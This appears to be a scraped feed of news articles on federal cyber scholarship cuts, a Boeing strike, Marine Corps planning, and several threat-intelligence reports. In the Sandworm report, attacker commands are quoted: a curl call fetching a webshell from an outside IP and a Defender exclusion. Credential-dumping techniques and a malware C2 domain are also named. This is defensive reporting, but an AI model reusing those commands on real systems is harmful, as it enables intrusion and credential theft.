• Every January, an exclusive career fair in Washington, D.C., draws hundreds of top students from across the country meet with dozens of federal agencies looking to hire talent.

    Established in 2000, the CyberCorps: Scholarship for Service program provides college tuition and a stipend to awardees who commit to working in a government cybersecurity role upon graduation. It’s backed by the Office of Personnel Management and National Science Foundation, the latter of which awards scholarships for up to three years of support for cybersecurity undergraduate and graduate participants, including Ph.D candidates.

    The program has long been deemed a reliable pathway for cream-of-the-crop students to enter public service, namely those with the technical and policy chops who want to serve the nation through cyber means.

    But an email issued in August of this year painted a different picture. Campus program heads were told that the upcoming annual career fair was cancelled, according to a copy viewed by Nextgov/FCW. Program events have now been made virtual for this year, though many of those have been fully cancelled, a person with knowledge of the matter said.

    What unfolded is symptomatic of a larger problem: As the Trump administration has moved to shrink and restructure the federal workforce, the effects have spilled into one of the government’s few longstanding cyber talent pipelines.

    For the last 20 years, the CyberCorps program has placed students into offices at several agencies and the Defense Department, including within the National Security Agency, Department of Energy and dozens of state, local, tribal and territorial governments, according to a 2023 biennial report.

    As cyber activity from U.S. adversaries and criminal hackers escalates, CyberCorps recruits hoped they would be spared from vast federal workforce changes carried out over the course of this year. 

    Instead, the opposite happened. Beginning as early as February, program recruits received cancellation notices for work offers at agencies like NASA, the Department of Health and Human Services and the Defense Contract Management Agency, according to nearly a dozen emails viewed by Nextgov/FCW.

    What’s worse for many students is the anticipation of crushing debt. Scholarship terms stipulate that graduates must secure a qualifying job approved by OPM within an 18-month window after completing their studies. If they don’t meet that deadline, their scholarship funding converts into a loan, obligating them to repay the full amount they received.

    “I already have over $100k of undergrad debt. I don’t really feel keen on taking on another $150k that I hadn’t planned on and didn’t consent to,” said one student who is on track to earn an advanced cybersecurity degree from Indiana University in May 2026. 

    “I still believe in protecting critical infrastructure, obviously, but I don’t want to ever work for the government again,” they said. “As an American, I’m immensely embarrassed. I feel humiliated on behalf of everyone who works in this industry.”

    That CyberCorps student and two other program participants who earned or will soon earn cybersecurity degrees — one from the University of Central Florida and another from the New Jersey Institute of Technology — were granted anonymity to speak candidly about their situation and due to fear of reprisal.

    OPM and the White House Office of the National Cyber Director did not return a request for comment. NSF returned an automated email saying that staff will not be responding due to the ongoing government shutdown.

    ONCD under the Biden administration had kicked off a mass effort to bolster the U.S. cyber workforce by touring schools and meeting with officials to build incentive structures that would get more students into cybersecurity jobs. “Scale nationwide” was the goal, former National Cyber Director Harry Coker told Nextgov/FCW last year during a school tour in Nevada.

    Sean Cairncross, the first national cyber director under President Donald Trump, has echoed that premise. 

    “We need a pipeline that develops and shares talent,” he said in September. “It should be pragmatic and accessible, reconciling and taking advantage of existing avenues within academia, vocational schools, corporations and venture capital opportunities to not only educate and train our existing cyber workforce, but to also recruit new talent, preparing the next generation to design and deploy exquisite emerging technologies.”

    But CyberCorps students across the political spectrum feel they have been forgotten. They had mentors in agencies like the Cybersecurity and Infrastructure Security Agency, where, over multiple semesters, they held internships and planted seeds for full-time recruitment. Those mentors and managers have since been terminated or taken other offers that incentivize them to leave government service.

    “I care about protecting my drinking water, about making sure the power stays on for my nieces and my nephews and my neighbors. And that’s what I was doing with [my CISA internship],” the NJIT student said. He left behind a 10-year-long corporate career and went back to school because he wanted to serve his country. Military enlistment wasn’t an option for him because of health conditions.

    “The terms of the agreement changed,” he added. “But this isn’t a loan. This was a scholarship that we worked hard to get.”

    The University of Central Florida student, whose capstone project focused on ransomware victimization, was supposed to go back to DHS earlier this year, but that opportunity was cancelled in February. 

    “We’re getting massacred out there. I don’t really understand why we’re cutting cybersecurity at a moment when we need it most,” she said.

    Over the last several months, some 250 CyberCorps scholars have been privately organizing, concerned that the current U.S. government job environment will affect their prospects for federal employment. Many have sought legal assistance to break the conditions of their scholarship and have contacted their representatives on Capitol Hill for additional help, all three students said.

    “The cybersecurity of our nation is in peril and we’re turning our backs on hundreds, if not thousands, of some of the smartest cybersecurity talent our universities are creating,” an organizer memo obtained by Nextgov/FCW says. “This is a potential counterintelligence nightmare, in addition to a failing of our critical infrastructure, cybersecurity readiness plans and basic national security.”

    Cuts to cyber shops across government early in the year left many CyberCorps students worried about their future prospects. More recently, cyber staff and others in DHS have faced a mass shift focused on Trump era immigration and deportation work, further narrowing hiring possibilities.

    Multiple people facing potential debt burdens from the hiring reversals have written to NSF directly requesting a reprieve. 

    “Due to my personal life situation and current macroeconomic factors, I am experiencing severe financial and economic burden, which significantly impacts my ability to fulfill this obligation,” one letter sent to NSF reads. Nextgov/FCW is withholding other details to protect the identity of the affected CyberCorps student.

    Recruitment options are severely limited. And when CyberCorps scholars see a possible job opportunity, many feel morally obligated to share it with each other, though it simultaneously makes the playing field more competitive. 

    “Any time someone finds a job that we could qualify for, we send it to everyone, and we all apply. So it’s kind of a f***ed up Hunger Games,” the Indiana student said.

    After acceptance to the program, which involves a lengthy application requiring multiple recommendation letters, students must engage with an on-campus professor. Those instructors, known as principal investigators, are responsible for administering scholarships and serving as the primary point of contact with OPM. 

    The setback for program participants has a dangerous trickle-down effect for those professors involved in campus recruitment, a former White House official told Nextgov/FCW. As scholarship students struggle to find jobs after completing their studies, word spreads across campuses, and those professors, who must nominate participants, may become reluctant to do so if they see high risk of poor outcomes for their nominees.

    “They didn’t just get the scholarship for whatever reason, they got it because they had the recommendation of the professors,” said the former official, who spoke on the condition of anonymity due to fear of retribution from the Trump administration. “This is a very competitive program, and right now, we might lose this talent. But the long-term implication is that we might not be able to attract the best talent in the world in the future.”

    For now, several students are trying to get 12-month extensions on their scholarship obligations, though the outlook for federal hiring conditions a year from now is unclear. Many have considered military service or continuing education, both of which would either defer their commitment to federal service or, if the role is approved, fulfill the program’s requirements and postpone or potentially avoid incurring the scholarship as debt, the students said.

    Others have considered more adverse options, which would involve seeking higher-paying private sector jobs with the expectation of paying down a hefty scholarship-converted loan. State and local government placements are possible, but recent funding conditions make those opportunities scarce.

    “The effect of these hiring freezes on CyberCorps scholarship recipients, whose talent is urgently needed to protect our nation’s infrastructure and whose scholarships depend on federal placement after graduation, is another example of the administration prioritizing political theatre over national security,” Rep. James Walkinshaw, D-Va., told Nextgov/FCW in an email.

    “CyberCorps scholars answered a call to serve. Saddling them with debt and uncertainty does not make government more efficient, it makes our nation less safe. The administration should ensure these professionals are placed in federal roles that fulfill their service requirements, or grant extensions or exceptions so they are not unfairly penalized,” he added.

    A July email sent from the program administrators in OPM to CyberCorps scholars lists various pieces of advice to navigate the new job landscape and suggested students “get creative” in their search. It advises them to look for more state and local opportunities and connect with their institution’s career services offices, among other things.

    It also reminds students that government contractor positions do not count toward their scholarship obligations. 

    “While you may work with a non-qualifying agency to take care of yourself and family in the interim, this will not count towards your service obligation,” it says. “Thank you for your patience, understanding and dedication during this time,” it later adds.

    ]]>

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • House Armed Services committee members are begging Boeing leaders to negotiate with 3,200 union workers and end a nearly-three-month strike at the company’s fighter jet and munitions factories in St. Louis.

    In a letter published Wednesday, the bipartisan group of 17 HASC members urged Boeing to resume talks with its International Association of Machinists and Aerospace-represented workers. They expressed alarm at reports that the company has been accelerating efforts to hire non-union workers instead.

    “For more than 80 days, including with the assistance of federal mediation, both sides have yet to come to terms on a new contract,” the letter said. “However, we are concerned by recent reports that Boeing Defense has inquired on hiring permanent replacements for striking workers in manufacturing roles…we are urging both sides to come back to the table to negotiate

    to conclude this ongoing, disruptive strike.”

    But company leaders continued to seem unbothered by the labor dispute. Boeing CEO Kelly Ortberg said Wednesday during the company’s third-quarter earnings call that production on Joint Direct Attack Munitions, the Air Force’s T-7A trainer, and the Navy’s MQ-25 unmanned aerial refueler continued during the strike. 

    “In St. Louis, we are executing our contingency plan as our IAM-represented workforce remains on strike,” Ortberg said during the call. “We are building JDAMS without IAM workforce at about the same production rate as before the work stoppage, and the team is progressing on our MQ-25 and T-7A development programs.”

    A Boeing spokesperson did not immediately respond to a request for comment on Wednesday about the Congressional letter and more details about the strike’s effects on other defense programs such as the company’s F-15EX, F/A-18, and F-47 fighter jets. 

    The IAM filed two labor violation charges against the company earlier this month for rejecting union proposals without counter-offering or addressing worker complaints.

    Ortberg highlighted recent milestones for the defense programs during the earnings call, such as beginning assembly on the first production representative T-7A test aircraft and delivering the 100th KC-46 tanker. The CEO also highlighted Boeing netting more than $400 million on contracts for the U.S. Navy in August to repair F-18 landing gear and a $2.8 billion contract in July to modernize the Space Force’s nuclear control satellites as major wins.

    Earlier this month, Boeing was awarded $2.7 billion in multi-year contracts to ramp up production of Patriot Advanced Capability‑3 seeker missiles for the military. Boeing reported $6.9 billion in defense revenue in the third quarter, a 25% increase over the prior year.

    “We still have work to get these programs through the development phase, and as I've said before, you're never done until you're done,” Ortberg said.

    ]]>

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • The Marine Corps is tweaking its Force Design 2030 plan as it enters the second half of its post-Global War on Terror transformation this month, releasing an update for 2025 after skipping 2024. 

    That includes putting on hold plans to stand up a third Marine Littoral Regiment, the service’s new shallow-water unit concept, which had been planned for Guam, a spokesman told Defense One on Tuesday. 

    “We've decided, given what we have right now in the Pacific, we're going to keep 4th Marine Regiment a traditional Marine regiment, and not transition it to an MLR,” said Lt. Col. Eric Flanagan, holding the count at 3rd MLR in Hawaii and 12th MLR in Japan. 

    With the MLR project now effectively complete, the Corps is eagerly anticipating getting its beleaguered medium landing ship program off the ground. An initial request for proposals was canceled late last year.

    “It’s no secret that's been delayed, but there's going to be positive steps here in the next couple months, as far as getting what the first ship made, and then moving forward and making this in scale, so we can get it out to Marines in Japan,” Flanagan said.

    Among its achievements, the Corps has been working on integrating new fires capabilities, like digital launch control on the High-Mobility Artillery Rocket System and the Navy Marine Expeditionary Ship Interdiction System.

    “We see ourselves as the eyes and ears of the joint force forward. So we've got sensors, we've got some of those fires, and then enabling all the joint-force fires as well around that, that command and control, to be able to reach out and shoot anything that we need to at any time,” Flanagan said.

    The Corps is evolving how it sees itself in more than one way, according to the Force Design update, and will codify that with a new “capstone concept.” 

    “This will connect our operational ideas and state clearly what the Marine Corps provides to Naval and Joint Force: a globally responsive, lethal, and resilient combined-arms naval expeditionary force that projects power from sea to land and land to sea, fighting as a Marine Air Ground Task Force across all domains in contested environments to deter, deny, and defeat adversaries,” the update says.

    In short, Flanagan said, it will distill the service’s move back to its sea-service roots following two decades of desert fighting in Iraq and Afghanistan. 

    “That paragraph is kind of a teaser to what the capstone concept is going to entail,” he said. “And really, it's things that you wouldn't have necessarily seen the Marine Corps describing itself in years past, as far as the all-domain environment, sea denial, sea control — you know, really supporting the Navy and the joint force.”

    The concept is in staffing and on track to be released in a matter of months, he added.

    ]]>

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Ukrainian government organizations continue facing relentless cyber threats from Russian-backed threat actors employing sophisticated evasion techniques to maintain persistent network access.

    Recent investigations have uncovered coordinated campaigns targeting critical infrastructure and government entities, with attackers deploying advanced tactics that circumvent traditional security defenses.

    These operations represent a significant escalation in targeting strategies, focusing on credential harvesting and sensitive information extraction rather than immediate destructive capabilities.

    The attacks demonstrate a strategic shift toward prolonged dwell time within networks, enabling threat actors to conduct extensive reconnaissance and maintain covert presence for months.

    Symantec analysts and researchers identified two major intrusion incidents spanning a two-month operation against a large business services organization and a week-long campaign against local government infrastructure.

    The attackers demonstrate exceptional operational security awareness, minimizing malware deployment while relying primarily on legitimate Windows administration tools and dual-use utilities to avoid detection.

    The campaign appears linked to Sandworm, a Russian military intelligence unit under the GRU known for destructive attacks against critical infrastructure including power grids and satellite communications networks.

    Initial compromise occurred through webshell deployment on public-facing servers, likely exploiting unpatched vulnerabilities. Attackers utilized Localolive webshell for establishing persistent backdoor access, enabling remote command execution capabilities.

    Living-Off-the-Land Credential Harvesting Mechanisms

    The sophisticated evasion methodology employed by these threat actors reveals their understanding of modern security implementations.

    Upon gaining initial access on June 27, 2025, attackers immediately executed reconnaissance commands using built-in Windows utilities:-

    cmd.exe /c curl 185.145.245.209:22065/service.aspx > C:\inetpub\wwwroot\aspnet_client\service.aspx
    powershell Add-MpPreference -ExclusionPath CSIDL_PROFILE\downloads

    Attackers deliberately disabled Windows Defender scanning on the Downloads folder, requiring administrative privileges.

    They subsequently created scheduled tasks executing every thirty minutes using legitimate rundll32.exe with comsvcs.dll to perform memory dumps, extracting credentials stored in process memory.

    The threat actors specifically targeted KeePass password vault processes through enumeration commands, demonstrating precise targeting of credential repositories.

    Advanced evasion continued through utilization of Windows Resource Leak Diagnostic tool (rdrleakdiag) for memory dumping operations, a seldom-used technique designed to evade security monitoring systems.

    Registry hive exfiltration through native reg.exe commands enabled additional credential and configuration data extraction.

    The campaign showcases threat actors prioritizing stealth over speed, employing legitimate administration tools to maintain attribution ambiguity while systematically harvesting sensitive organizational data throughout extended network access periods.

    Follow us on Google NewsLinkedIn, and X to Get More Instant UpdatesSet CSN as a Preferred Source in Google.

    The post Russian Hackers Attacking Government Entity Using Stealthy Living-Off-the-Land Tactics appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Between August and October 2025, a sophisticated phishing campaign has emerged targeting Colombian and Spanish-speaking users through deceptive emails masquerading as official communications from Colombia’s Attorney General’s office.

    The campaign employs a carefully crafted social engineering strategy, luring victims with notifications about supposed lawsuits processed through labor courts.

    This marks a significant shift in attack tactics as threat actors expand PureHVNC deployment into regions previously untouched by this malware.

    Example email (Source – IBM)

    The attack chain begins when recipients encounter an email containing an SVG attachment that leads them through Google Drive, where clicking on the document triggers an automatic download of a password-protected ZIP archive.

    7 ZIP archive contents (Source – IBM)

    Inside this archive lies a renamed executable disguised with a judiciary-themed filename “02 BOLETA FISCAL.exe”, which is actually a legitimate javaw.exe file repurposed for malicious DLL side-loading.

    This initial stage deploys Hijackloader, an increasingly prevalent loader previously observed delivering RemcosRAT to CrowdStrike customers.

    IBM X-Force analysts identified this campaign as particularly noteworthy because it represents the first observed instance of PureHVNC being delivered to Spanish-speaking users through such coordinated efforts.

    The malware, typically sold on dark web forums and Telegram channels by PureCoder, demonstrates advanced evasion capabilities that separate it from standard remote access trojans.

    Infection Mechanism and Persistence

    The malware operates through a sophisticated multi-stage infection process designed to evade security detection.

    The attack exploits DLL side-loading, where the malicious JLI.dll hijacks Windows’ library loading procedures to inject the second-stage payload MSTH7EN.dll directly into memory using the LoadLibraryW() API function.

    This shellcode eventually loads into vssapi.dll through memory manipulation techniques involving VirtualProtect() calls that modify the .text section to PAGE_EXECUTE_READWRITE permissions.

    The third-stage payload contains encrypted configuration data including process name hashes that trigger execution delays when security software is detected.

    When activated, the malware queries running processes and uses NtDelayExecution() API calls to pause execution, demonstrating awareness of its operational environment.

    The complete infection chain ultimately establishes communication with the command server sofiavergara[.]duckdns[.]org, granting attackers complete remote access over compromised systems.

    This campaign highlights how judicial and legal themes continue serving as effective social engineering vectors, particularly against government and corporate employees in Latin America.

    Follow us on Google NewsLinkedIn, and X to Get More Instant UpdatesSet CSN as a Preferred Source in Google.

    The post Threat Actors Weaponizes Judicial Documents to Deliver PureHVNC RAT appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Cybersecurity experts at ANY.RUN recently unveiled alarming trends in how attackers are exploiting everyday technologies to bypass security operations centers (SOCs).

    They dissected tactics like QR code phishing, ClickFix social engineering, and Living Off the Land Binaries (LOLBins), showing how these methods evade traditional defenses.

    As threats grow more sophisticated, SOC teams face mounting pressure to adapt, with low detection rates risking severe breaches. Drawing from analyses of real-world samples, the session emphasized interactive tools and real-time intelligence as vital countermeasures.

    ClickFix Attacks: Mastering Human Deception

    ClickFix attacks stand out for their reliance on user interaction, turning routine verifications into malware gateways. Attackers send phishing emails mimicking trusted sites, like booking platforms, complete with fake CAPTCHAs.

    Once a victim clicks, a malicious PowerShell script hijacks the clipboard unnoticed, prompting the user to paste and execute it via a system dialog.

    This multi-stage ploy thrives on deception: double spoofing creates convincing replicas, while manual steps foil automated scanners.

    Sandbox analyses reveal how execution deploys stealers like Lumma or AsyncRAT, plus ransomware, establishing persistence through startup files.

    Traditional tools falter at CAPTCHAs, but interactive sandboxes simulate human actions, exposing the full chain from initial click to payload delivery in seconds.

    Without such capabilities, SOCs miss threats that blend seamlessly into user workflows, leading to credential theft and system compromise.

    PhishKit Attacks: QR Codes as Stealth Vectors

    Phishing kits, or phishkits, have evolved into dark web staples, empowering novices to launch pro-level campaigns against giants like Microsoft and Google.

    The latest twist integrates QR codes into PDF attachments disguised as DocuSign docs, directing scans to mobile devices where phishing cues hide on small screens.

    These kits incorporate AI-generated lures, multi-stage checks, and CAPTCHAs like Cloudflare Turnstile, culminating in fake login pages for credential harvesting.

    ANY.RUN’s automated detonation extracts QR links, solves challenges, and traces the kill chain, revealing ties to groups like Storm-1747.

    Many defenses overlook QR content, allowing evasion, but advanced sandboxes handle this autonomously, cutting Tier 1 workloads by 20%. As phishkits proliferate, targeting regions via localized lures, SOCs must prioritize QR scanning to curb widespread campaigns.

    LOLBins: Weaponizing Trusted Tools

    LOLBins exploit Windows’ own utilities, PowerShell, mshta.exe, and cmd.exe to mask malice as routine operations. A phishing .lnk file might invoke mshta via PowerShell to fetch payloads from remote servers, downloading decoy PDFs to obscure the real stealer, like DeerStealer.

    This “living off the land” approach evades whitelists and antivirus software by mimicking admin tasks, leaving faint forensic traces.

    Behavioral analysis in sandboxes uncovers connections to C2 servers and persistence mechanisms, distinguishing abuse from legitimacy.

    Without context from global investigations, alerts trigger false positives. Threat intelligence feeds, pulling fresh IOCs from thousands of sessions, enable real-time blocking, slashing response times.

    The tactics employed by ClickFix, including interactivity, QR obfuscation, and LOLBin stealth, highlight the limitations of relying solely on automation.

    ANY.RUN’s solutions, which combine interactive analysis with shared intelligence, enhance detection rates by 88% in under a minute and reduce mean time to resolve (MTTR) by 21 minutes.

    Security Operations Centers (SOCs) that implement these solutions report a 30% decrease in escalations and a tripling of efficiency, thereby strengthening their defenses against an increasingly relentless adversary landscape.

    Enhance your SOC Performance With Interactive Sandbox Threat Intelligence Lookup and Feeds => Try Now

    The post Emerging Cyber Threats Featuring QR Codes ClickFix and LOLBins Challenging SOC Defenses appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • A newly discovered ransomware-as-a-service platform called Gentlemen’s RaaS has recently emerged on underground hacking forums, offering threat actors a sophisticated cross-platform attack capability.

    The service, advertised by the threat actor known as zeta88, represents a significant expansion in ransomware delivery models, targeting critical infrastructure across multiple operating systems.

    This development signals an intensified threat landscape where organized cybercriminals are offering affiliate-based ransomware operations to lower-level attackers, democratizing access to enterprise-level encryption malware.

    The service leverages a compelling business model that allocates ninety percent of ransom proceeds to affiliates while retaining just ten percent for the operator.

    This generous revenue-sharing arrangement has proven highly attractive to potential partners within the cybercriminal ecosystem.

    By offering this financial incentive structure, the platform encourages widespread adoption and rapid deployment across global organizations.

    The architecture reflects a deliberate strategy to scale ransomware operations efficiently while maintaining operational control through centralized decryption infrastructure.

    KrakenLabs researchers identified the malware following detailed analysis of its promotional materials circulating across hacking forums.

    The platform exhibits sophisticated technical construction with separate lockers designed for specific platforms, indicating purpose-built infrastructure rather than generic variants.

    Lateral movement

    The most technically noteworthy aspect involves the malware’s persistence and lateral movement mechanisms.

    Gentlemen’s RaaS deploys a Go-based locker targeting Windows, Linux, NAS, and BSD systems, while employing a separate C-coded ESXi locker approximately thirty-two kilobytes in size.

    The encryption implementation utilizes XChaCha20 combined with Curve25519 cryptography, with per-file ephemeral keys providing granular encryption architecture.

    Particularly concerning is the self-propagation capability through WMI, WMIC, SCHTASKS, SC, and PowerShell Remoting commands, enabling rapid network traversal.

    The malware establishes persistence via schtasks registry modifications and run-on-boot routines, ensuring survival across system restarts and administrative interventions.

    Additionally, the platform supports network share discovery and automated encryption, allowing the ransomware to identify and compromise adjacent systems seamlessly.

    Follow us on Google NewsLinkedIn, and X to Get More Instant UpdatesSet CSN as a Preferred Source in Google.

    The post New Gentlemen’s RaaS Advertised on Hacking Forums Targeting Windows, Linux and ESXi Systems appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • A massive 4TB SQL Server backup file belonging to global accounting giant Ernst & Young (EY) was discovered publicly accessible on Microsoft Azure.

    The exposure, uncovered by cybersecurity firm Neo Security during a routine asset mapping exercise, highlights how even well-resourced organizations can inadvertently leave sensitive data vulnerable to the internet’s automated scanners.

    Neo Security’s lead researcher discovered the file while examining passive network traffic with low-level tools.

    A simple HEAD request meant to fetch metadata without downloading content revealed the staggering size: 4 terabytes of data, equivalent to millions of documents or an entire library’s worth of information.

    The file’s naming convention screamed SQL Server backup (.BAK format), which typically contains full database dumps, including schemas, user data, and, crucially, embedded secrets such as API keys, credentials, and authentication tokens.

    Discovery and Verification Process

    Initial searches on the Azure Blob Storage yielded no immediate ownership clues, but deeper probes uncovered merger documents in a European language, translated with tools like DeepL, pointing to a 2020 acquisition.

    A pivotal DNS SOA record lookup tied the domain to ey.com, confirming EY’s involvement. To avoid any legal pitfalls, the team downloaded only the file’s first 1,000 bytes, revealing an unmistakable “magic bytes” signature for an unencrypted SQL Server backup, Neo Security learns.

    This was not a theoretical risk. Neo Security relied on real-world incident response experience, recalling a fintech breach that resulted from the brief exposure of a similar .BAK file for just five minutes.

    In that case, attackers exploited the brief window to exfiltrate personally identifiable information and credentials, leading to ransomware and the company’s collapse.

    With today’s botnets scanning the entire IPv4 address space in minutes, such exposures invite inevitable compromise. Neo Security halted further probing and pursued responsible disclosure over a weekend, eventually connecting with EY’s CSIRT via LinkedIn outreach after 15 attempts.

    EY responded swiftly and professionally, triaging and remediating the issue within a week, with no defensiveness, just effective action.

    The firm deserves credit for its mature handling, a rarity in an industry often marred by denial or delays. Yet the incident underscores systemic cloud vulnerabilities. Azure’s convenience in exporting databases can lead to ACL (Access Control List) errors, flipping private storage public with one misclick.

    For EY a Big Four firm auditing billion-dollar deals and holding market-moving financial data this lapse raises questions about oversight in fast-paced infrastructures.

    Experts warn that automated adversarial scanning means exposures aren’t “if” but “how many” actors notice.

    As cloud complexity grows, continuous mapping and visibility tools become essential to outpace threats, ensuring organizations discover their own leaks first.

    Follow us on Google News, LinkedIn, and X for daily cybersecurity updates. Contact us to feature your stories.

    The post EY Data Leak – Massive 4TB SQL Server Backup Exposed Publicly on Microsoft Azure appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Fraudulent investment platforms impersonating cryptocurrency and forex exchanges have emerged as the predominant method used by financially motivated cybercriminals to defraud victims across Asia and beyond.

    These sophisticated scam operations deploy advanced social engineering tactics to manipulate victims into transferring funds to attacker-controlled systems that masquerade as legitimate trading platforms.

    The threat landscape has evolved significantly from isolated cybercriminal activities to highly organized, cross-border operations with structured hierarchies and specialized roles.

    These schemes no longer target single geographic regions but instead operate internationally, utilizing complex infrastructure networks to sustain prolonged campaigns against unsuspecting investors.

    Recent law enforcement actions have highlighted the massive scale of these operations.

    In August 2025, Vietnamese authorities arrested 20 individuals connected to the billion-dollar Paynet Coin crypto scam, charging them with multi-level marketing violations and asset misappropriation.

    Victim manipulation flow from initial contact to fund extraction (Source – Group-IB)

    While this particular case represents just one facet of the broader threat landscape, it demonstrates the transnational reach and financial impact of modern investment fraud campaigns.

    Group-IB analysts identified a sophisticated victim manipulation framework that consistently appears across these fraudulent platforms.

    The research reveals that threat actors employ a multi-stage approach beginning with initial contact through social media platforms including Zalo, Facebook, TikTok, and messaging applications such as Telegram and WhatsApp.

    Scammers present themselves as successful investors or financial experts, using carefully crafted personas and forged credentials to establish trust with potential victims.

    The deception extends beyond simple impersonation tactics. When victims display hesitation or skepticism, operators introduce additional “bait” personas, including fake fellow investors, friends, or support staff who engage directly with targets to simulate genuine platform activity and reinforce the illusion of legitimacy.

    Advanced Infrastructure and Technical Sophistication

    These fraudulent platforms operate on shared backend infrastructure rather than isolated throwaway websites.

    The technical analysis reveals recurring API endpoints, SSL certificate reuse, and common administrative interfaces across multiple scam domains.

    Group-IB researchers noted cross-domain HTTP requests during controlled browsing sessions, with captured traffic showing requests to API subdomains using paths such as /user/info, /index/tickers, and /index/init.

    The infrastructure investigation uncovered exposed administrative panels accessible through subdomains following predictable naming patterns like adn.<domain> and api.<domain>.

    These control interfaces, often presented in Simplified Chinese, feature standard login fields and integration with popular Chinese platforms including Tencent QQ, WeChat, and Weibo.

    Source code analysis revealed the use of lightweight UI frameworks such as Layui, commonly employed in dashboard and administrative panel development.

    An organization chart depicting a Multi-Actor Fraud Network (Source – Group-IB)

    Chat-based onboarding systems represent another layer of technical sophistication. Instead of direct registration forms, many platforms load chatbot interfaces powered by third-party services like Meiqia.

    These chatbots serve multiple functions including access control, trust reinforcement, and payment instruction delivery.

    When victims select deposit functions, the platform redirects them to chatbot windows that provide specific bank account details or cryptocurrency wallet addresses.

    Backend payload analysis of these chatbot systems exposes configuration data, registered email addresses, and system-level parameters.

    HTTP request traces show API calls to external chatbot infrastructure, while payload inspection reveals Chinese-language system messages and queue notifications not visible in the frontend interface.

    The technical infrastructure also includes auxiliary components such as chat simulation tools designed to fabricate convincing conversation screenshots.

    These web-based messaging simulators mimic popular platforms and include configurable message metadata, timestamps, and delivery status indicators to create fabricated social proof for victim persuasion.

    Follow us on Google NewsLinkedIn, and X to Get More Instant UpdatesSet CSN as a Preferred Source in Google.

    The post Huge Surge in Fake Investment Platforms Mimic Forex Exchanges Steal Logins appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Microsoft experienced a widespread service outage on Wednesday, October 29, 2025, affecting its Azure cloud platform and Microsoft 365 suite, leaving thousands of users unable to access critical business services. The disruption, which began around 16:00 UTC (approximately 9:30 PM IST), was attributed to Domain Name System (DNS) configuration issues that crippled connectivity across Microsoft’s […]

    The post Microsoft DNS Outage Disrupts Azure and Microsoft 365 Services Worldwide appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶